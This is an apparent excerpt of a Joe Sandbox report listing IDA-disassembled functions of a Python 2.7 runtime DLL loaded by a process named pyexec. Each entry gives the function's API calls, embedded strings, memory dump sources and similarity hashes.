                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FromInt_Long$Arg_FormatObjectStringString_TupleUnpack
                                                                                                                                                                    • String ID: field_size_limit$limit must be an integer
                                                                                                                                                                    • API String ID: 967242494-1264440769
                                                                                                                                                                    • Opcode ID: ed65146b97c42e70f39e6507bc45e4079ca1f07a57d5229c53df3f405f747300
                                                                                                                                                                    • Instruction ID: d751c34424a743b1596a68ae35b447bef0b6915849cf59616eb8cfd98c131518
                                                                                                                                                                    • Opcode Fuzzy Hash: ed65146b97c42e70f39e6507bc45e4079ca1f07a57d5229c53df3f405f747300
                                                                                                                                                                    • Instruction Fuzzy Hash: BA0128B1A041089FEE10DA64EC46F9A33FC9B08339F105196F91CC7241E775DA50CBB6
                                                                                                                                                                    Function 670C7530 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(?,__dict__,67249E88,?,670C7768,?,?,?,?,?,?,?,?,670C77F7), ref: 670C753A
                                                                                                                                                                    • PyDict_Keys.PYTHON27(00000000), ref: 670C7555
                                                                                                                                                                    • PyModule_GetName.PYTHON27(?), ref: 670C7562
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s.__dict__ is not a dictionary,00000000), ref: 670C757B
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AttrDict_Err_FormatKeysModule_NameObject_String
                                                                                                                                                                    • String ID: %.200s.__dict__ is not a dictionary$__dict__
                                                                                                                                                                    • API String ID: 1862186721-2745307267
                                                                                                                                                                    • Opcode ID: 8fb10dd38113f228c1c91262958a9a589f69c82147659258f1bb7f0f4773d09d
                                                                                                                                                                    • Instruction ID: 171898e1fc7367234d4b5935f7d47a5de910e3fab575b1a29d1ccea70ef65d25
                                                                                                                                                                    • Opcode Fuzzy Hash: 8fb10dd38113f228c1c91262958a9a589f69c82147659258f1bb7f0f4773d09d
                                                                                                                                                                    • Instruction Fuzzy Hash: 01F090B1A016015FE710CA64AC81B6F32985B1D628F000A28EE2586241E7B9DE99D6F3
                                                                                                                                                                    Function 670D7ED0 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 36COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,0000007D,?,6709A9F5,?,00000000,?,?,?,?,?,?,6708F9FC,?), ref: 670D7EF8
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\tupleobject.c, xrefs: 670D7EED
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 670D7F1A
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670D7EF2
                                                                                                                                                                    • tuple index out of range, xrefs: 670D7F20
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c$8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$tuple index out of range
                                                                                                                                                                    • API String ID: 376477240-622867235
                                                                                                                                                                    • Opcode ID: 35a16e56b8030ca4ebd7107f5e50bf4dfede3ef7f0239a3104dcc10fba530407
                                                                                                                                                                    • Instruction ID: ff15bed846d5e7443287ab95d934849c7075b454663846f3e5719633ffae9818
                                                                                                                                                                    • Opcode Fuzzy Hash: 35a16e56b8030ca4ebd7107f5e50bf4dfede3ef7f0239a3104dcc10fba530407
                                                                                                                                                                    • Instruction Fuzzy Hash: 02F090356142085BD720DE64DC86F6973A8DB09318F50868AFD2C8B341E622E86297A6
                                                                                                                                                                    Function 67011E80 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 21COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_Ready.PYTHON27(6726AAA0), ref: 67011E85
                                                                                                                                                                    • Py_InitModule4.PYTHON27(_random,00000000,Module implements the Mersenne Twister random number generator.,00000000,000003F5), ref: 67011EA4
                                                                                                                                                                    • PyModule_AddObject.PYTHON27(00000000,Random,6726AAA0), ref: 67011EC1
                                                                                                                                                                      • Part of subcall function 6712EC70: PyType_IsSubtype.PYTHON27(?,?,?,?,670057F9,00000000,deque,6726FF60), ref: 6712EC87
                                                                                                                                                                      • Part of subcall function 6712EC70: PyErr_SetString.PYTHON27(672448B0,PyModule_AddObject() needs module as first arg,deque,6726FF60), ref: 6712EC9E
                                                                                                                                                                    Strings
                                                                                                                                                                    • _random, xrefs: 67011E9F
                                                                                                                                                                    • Module implements the Mersenne Twister random number generator., xrefs: 67011E98
                                                                                                                                                                    • Random, xrefs: 67011EBB
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Type_$Err_InitModule4Module_ObjectReadyStringSubtype
                                                                                                                                                                    • String ID: Module implements the Mersenne Twister random number generator.$Random$_random
                                                                                                                                                                    • API String ID: 2860454020-3154293513
                                                                                                                                                                    • Opcode ID: f1eecede2dd05991857bc82fdfa12ca889493c16bf3d35b58231ef8881d0addc
                                                                                                                                                                    • Instruction ID: b41dd7a3d8527af90c892103e20668f3166a9433287dbe69c3bf8b227e427e69
                                                                                                                                                                    • Opcode Fuzzy Hash: f1eecede2dd05991857bc82fdfa12ca889493c16bf3d35b58231ef8881d0addc
                                                                                                                                                                    • Instruction Fuzzy Hash: 9FD017A6E8061537F64012E06D8EF3231FC1B3C50CFA44023FF36A0192FA44E29485A7
                                                                                                                                                                    Function 670EB580 Relevance: 9.1, APIs: 6, Instructions: 82COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,670EB64C,?,?,?,00000000), ref: 670EB598
                                                                                                                                                                    • PyErr_SetExcFromWindowsErrWithFilenameObject.PYTHON27(672450B8,00000000,00000000), ref: 670EB5AF
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(?,00000000,?,?,?,670EB64C,?,?,?,00000000,?,67003246,?,?,00000000), ref: 670EB5C9
                                                                                                                                                                    • PyString_Size.PYTHON27(?,?,?,?,670EB64C,?,?,?,00000000,?,67003246,?,?,00000000), ref: 670EB5E2
                                                                                                                                                                    • _PyString_Resize.PYTHON27(?,?,?,?,?,?,670EB64C,?,?,?,00000000,?,67003246,?,?,00000000), ref: 670EB5F1
                                                                                                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 670EB619
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String_$ByteCharFromMultiSizeWide$Err_FilenameObjectResizeStringWindowsWith
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3319194404-0
                                                                                                                                                                    • Opcode ID: 356c3de908eda9ecb25610d73a4d41d32680a87747ce097e74da1a6fbc748b5f
                                                                                                                                                                    • Instruction ID: 9ff5a2f75f61db0ee1a79983878aed64aff5d178e64095b319a4e914a3f02f88
                                                                                                                                                                    • Opcode Fuzzy Hash: 356c3de908eda9ecb25610d73a4d41d32680a87747ce097e74da1a6fbc748b5f
                                                                                                                                                                    • Instruction Fuzzy Hash: C5115172644309BFE7109AA8EC81F6737ACEF89768F104615FE18CB280E671DD4087B1
                                                                                                                                                                    Function 67015C10 Relevance: 9.1, APIs: 6, Instructions: 56COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,6714BCB4,?,?), ref: 67015C27
                                                                                                                                                                    • tolower.MSVCR90 ref: 67015C49
                                                                                                                                                                    • _Py_BuildValue_SizeT.PYTHON27(671EFB10,00000000), ref: 67015C58
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Size$Arg_BuildParseTuple_Value_tolower
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 2724438417-0
                                                                                                                                                                    • Opcode ID: 7daa6374f353760186059b7fb8037a19eac1ab81c09d1baafd8683889a96ff22
                                                                                                                                                                    • Instruction ID: 7ace2884ba759fcf22ef9c08ffbbd3c20b02379cee5dfb1636c0c24e0dcad926
                                                                                                                                                                    • Opcode Fuzzy Hash: 7daa6374f353760186059b7fb8037a19eac1ab81c09d1baafd8683889a96ff22
                                                                                                                                                                    • Instruction Fuzzy Hash: CC012D75D041086FDE009AE0BCC6E7E73BCA75C10CF0409E6ED5C9A200F9219B5496F2
                                                                                                                                                                    Function 67114D20 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyTuple_New.PYTHON27(00000001,?,?,?,?,?,67001698,?,?), ref: 67114D34
                                                                                                                                                                      • Part of subcall function 670D7D80: PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000036,00000000,6708B1D5,?,?,?,6708F66F,00000000,?,00000000,6708F785,00000000), ref: 670D7DA3
                                                                                                                                                                    • PyString_FromString.PYTHON27(?,?), ref: 67114D4F
                                                                                                                                                                    • PyEval_CallObjectWithKeywords.PYTHON27(?,00000000,00000000,?), ref: 67114DAC
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,decoder must return a tuple (object,integer)), ref: 67114E1D
                                                                                                                                                                    Strings
                                                                                                                                                                    • decoder must return a tuple (object,integer), xrefs: 67114E17
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$CallEval_FormatFromKeywordsObjectString_Tuple_With
                                                                                                                                                                    • String ID: decoder must return a tuple (object,integer)
                                                                                                                                                                    • API String ID: 2686362728-1958854746
                                                                                                                                                                    • Opcode ID: 1b2e95744adf045a6bfbd38303e9d2152012671b7e4b4a9d7c8faf8dd3ebec92
                                                                                                                                                                    • Instruction ID: a3317e231979dfd1d6f33cb7ce58438c58c53674e16183806dd361c97004b112
                                                                                                                                                                    • Opcode Fuzzy Hash: 1b2e95744adf045a6bfbd38303e9d2152012671b7e4b4a9d7c8faf8dd3ebec92
                                                                                                                                                                    • Instruction Fuzzy Hash: BD31B5B1A046019BDB11CF64DC8099673B4AF69B38B108379DD394F781E739ED52CB92
                                                                                                                                                                    Function 67114C00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyTuple_New.PYTHON27(00000001,?,?,?,?,67001609,?), ref: 67114C13
                                                                                                                                                                      • Part of subcall function 670D7D80: PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000036,00000000,6708B1D5,?,?,?,6708F66F,00000000,?,00000000,6708F785,00000000), ref: 670D7DA3
                                                                                                                                                                    • PyString_FromString.PYTHON27(?,?), ref: 67114C2B
                                                                                                                                                                    • PyEval_CallObjectWithKeywords.PYTHON27(?,00000000,00000000,?), ref: 67114C71
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,encoder must return a tuple (object,integer)), ref: 67114CDF
                                                                                                                                                                    Strings
                                                                                                                                                                    • encoder must return a tuple (object,integer), xrefs: 67114CD9
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$CallEval_FormatFromKeywordsObjectString_Tuple_With
                                                                                                                                                                    • String ID: encoder must return a tuple (object,integer)
                                                                                                                                                                    • API String ID: 2686362728-3268501038
                                                                                                                                                                    • Opcode ID: 77d4661c2bcedb073878e14b18ca5ed19d972705635a33c0ed6f0f8a6a092398
                                                                                                                                                                    • Instruction ID: b018552a381806101ab267665c4a0bedb069bc79081427182045382470d112a7
                                                                                                                                                                    • Opcode Fuzzy Hash: 77d4661c2bcedb073878e14b18ca5ed19d972705635a33c0ed6f0f8a6a092398
                                                                                                                                                                    • Instruction Fuzzy Hash: 1131C2716046019BD301CE64DC80A9B73B4AFA9738B258739DD294B781D735ED53CB92
                                                                                                                                                                    Function 6708E610 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 107COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708E631
                                                                                                                                                                    • _PySlice_FromIndices.PYTHON27(?,?), ref: 6708E6AD
                                                                                                                                                                      • Part of subcall function 670CC210: PyInt_FromLong.PYTHON27(?,?,?,6708E47D,?,?), ref: 670CC223
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,'%.200s' object doesn't support slice assignment,?), ref: 6708E6F2
                                                                                                                                                                    Strings
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708E62B
                                                                                                                                                                    • '%.200s' object doesn't support slice assignment, xrefs: 6708E6EC
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_From$FormatIndicesInt_LongSlice_String
                                                                                                                                                                    • String ID: '%.200s' object doesn't support slice assignment$null argument to internal routine
                                                                                                                                                                    • API String ID: 4144052031-3688816455
                                                                                                                                                                    • Opcode ID: 4456c1bbae03a37bcd145e357997da3884694f575742ff4d99d048e60fa9a7f4
                                                                                                                                                                    • Instruction ID: 7c67334fbd956e098407480dac4319e8aa728c7fcda9a06fde4991c75d1a0fd1
                                                                                                                                                                    • Opcode Fuzzy Hash: 4456c1bbae03a37bcd145e357997da3884694f575742ff4d99d048e60fa9a7f4
                                                                                                                                                                    • Instruction Fuzzy Hash: 2231A4766006019FDF00DE55DC84B9773E9EB98374B154629E9288B340D735E862CBB1
                                                                                                                                                                    Function 67001D50 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zii:utf_16_ex_decode,?,?,?,?), ref: 67001D7B
                                                                                                                                                                    • PyUnicodeUCS2_DecodeUTF16Stateful.PYTHON27(?,?,?,?,?), ref: 67001DB0
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_DecodeParseSizeStatefulTuple_Unicode
                                                                                                                                                                    • String ID: Oni$s*|zii:utf_16_ex_decode
                                                                                                                                                                    • API String ID: 227215544-2304072725
                                                                                                                                                                    • Opcode ID: 88a5e69d644cd9da020932c4d71d1250ebb67795b3fb99aeb4243571994a4ccc
                                                                                                                                                                    • Instruction ID: afe5f140b9f0f8ca4180d5821bdd4dca2238913258f4d6cc25acdd5f49cccfa4
                                                                                                                                                                    • Opcode Fuzzy Hash: 88a5e69d644cd9da020932c4d71d1250ebb67795b3fb99aeb4243571994a4ccc
                                                                                                                                                                    • Instruction Fuzzy Hash: 733136B6E00109AFDB04DF99DC90DEEB3F9FF88224B14866DE51997241E6319E06C7A1
                                                                                                                                                                    Function 6709EFA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_InternInPlace.PYTHON27(?,?,?,?,?,6709F1E2,?), ref: 6709EFF4
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: InternPlaceString_
                                                                                                                                                                    • String ID: h#g
                                                                                                                                                                    • API String ID: 3813175135-436849807
                                                                                                                                                                    • Opcode ID: 61c879be0952c1b18a9e9c600d3b491e4ac021c3ad55f1e257a80c674a3925df
                                                                                                                                                                    • Instruction ID: 777dba316d43f4a7c19ed1722da3c9c32ed42db22445af52a91222c73e637e85
                                                                                                                                                                    • Opcode Fuzzy Hash: 61c879be0952c1b18a9e9c600d3b491e4ac021c3ad55f1e257a80c674a3925df
                                                                                                                                                                    • Instruction Fuzzy Hash: 043190B29047119BD750CE28994064AB3ECAF8D328F005A39F968CB240E735F905EBF3
                                                                                                                                                                    Function 67004DF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 87COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_ParseTupleAndKeywords.PYTHON27(?,?,|OO:deque,?,?,?), ref: 67004E36
                                                                                                                                                                    • PyInt_AsSsize_t.PYTHON27(00000000), ref: 67004E51
                                                                                                                                                                      • Part of subcall function 670B72B0: PyErr_SetString.PYTHON27(672448B0,an integer is required,?,6708D745,00000000,?,00000000), ref: 670B72C5
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245D10,maxlen must be non-negative), ref: 67004E7B
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
